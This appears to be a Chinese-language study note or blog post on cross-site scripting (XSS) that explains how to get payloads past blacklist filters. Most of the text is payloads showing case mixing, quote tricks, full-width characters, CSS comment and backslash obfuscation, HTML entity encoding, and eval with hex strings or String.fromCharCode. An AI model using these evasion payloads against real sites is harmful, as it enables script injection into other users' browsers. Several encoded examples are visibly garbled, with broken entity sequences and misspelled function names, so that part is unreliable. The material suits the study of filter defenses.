xss-day02
7)擾亂過濾規則
利用前面所述的各種技巧,包括HTML標簽屬性值、事件、CSS、編碼技術等,用戶能順利
繞過XSS Filter的重重過濾。
程序員在汲取各種經驗后,在開發過程中可能已經仔細考慮到各種觸發XSS的情況,然后部署
好嚴謹的防御措施,如此一來, 系統也變得更加牢固、安全。但不要太自信,請繼續看下面的示例:
一個正常的XSS輸入:
<img src="javascript:alert(0);">
轉換大小寫后的XSS:
<IMG SRC="javascript:alert(0);">
大小寫混淆的XSS:
<iMg sRC="jaVasCript:alert(0);">
不用雙引號,而是使用單引號的XSS:?
<img src='javascript:alert(0);'>
不使用引號的XSS:?
<img src=javascript:alert(0) ;>
當利用expression執行跨站代碼時,可以構造不同的全角字符來擾亂過濾規則:
<Xss STYLE="xss:expr E ssion(alert('XSs'))”>
<div style="{ 1eft:exp r es si 0 n(alert('xss'))}">
樣式表中的/**/會被瀏覽器忽略,因此可以運用/**/來注釋字符,通過插入混淆字符繞過過濾,
如:
<XSS STYLE="xss: expr/*XSS* /ession (alert('XSS')) ">
<div style="wid/****/th: expre/*Xss*/ssion (alert('XSS'));">
目前大多數過濾系統都采用黑名單式的過濾,用戶可以結合使用注釋字符干擾和欺騙過濾器,
測試用例如下:
<scriScriptpt>alert ('XSS')</script>
<img src="java/* /*javascript* /script/*javascript*/*/script:alert();" >
<img src="java/*script:alert() ;"><img src="javaa*/script:alert() ;">
<img src="java/*exp/**/script:alert() ;*/ression(alert(1))">
<img sty1e="width: exp/*ression(alert());" src="java/*exp/**/script:alert();*/ression .
(alert(1)) "> .
除了/**/外,樣式標簽中的\和結束符\0也是被瀏覽器忽略的,如:
@ \0im\port '\0ja\vasc\ript:alert("xss")';
@\i \0m\00p\000o\0000\00000r \000000t"url";
利用字符編碼
字符編碼在跨站腳本中經常運用到,透過這種技巧,不僅能讓XSS代碼繞過服務端的過濾,
還能更好地隱藏Shellcode.如前文所述,HTML標簽中的某些屬性值可以使用&#ASCII方式進行編碼改寫,
這種XSS轉碼支持十進制和十六進制形式。為了方便測試,我們接下來使用一一個XSS編碼工具,
以便對字符串進行十進制和十六進制的編碼解碼,該工具還可以實現ESCAPE轉碼和解碼。
以“<img src="javascript:alert('XSS);">”為例,它的屬性值為:?
javascript:alert('XSS');
進行十進制轉碼(&#)后得到:
javascript:alertƖ#39&#
88SS'Ơ#59
完整的XSS Expliot如下:
<img src="javascѺ#1056#112Ҏ#585#97lϸ#114t('XSS');">
還可以在每個十進制字符后加上;,或者采用�、 �、�、�、�、 �、
�、�
另外,在JavaScript中有- -一個eval)函數,該函數可計算字符串,并執行其中的JavaScript代碼,
如下所示:
<script>
eval ("alert('XSS')");
</script>
我們可以使用\連接十六進制字符串,然后使用eval()函數執行十六進制字符串形式的腳本,如
對aler('XSS)進行十六進制轉碼后得到:
\61\6c\65\72\74\28\27\58\53\53\27\29
那么,完整的XSS代碼為:
<script>
eval("\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29");
</script>
eval()也可以執行10進制形式的腳本,但需要配合String.fromCharCode()函 數使用。
string.formcharcode(用于將字符轉為ASCII值,例如一個正常形式的XSS示例為:
<img src="javascript:eval (alert('XSS'))">
結合使用eval()和String.fromCharCode()函數后變成:
<img src="javascript :eval (String. fromCharCode (97, 108, 101,114, 116,40, 39, 88, 83,83,39,41))">
總結
- 上一篇: xss-day01
- 下一篇: sql注入——day02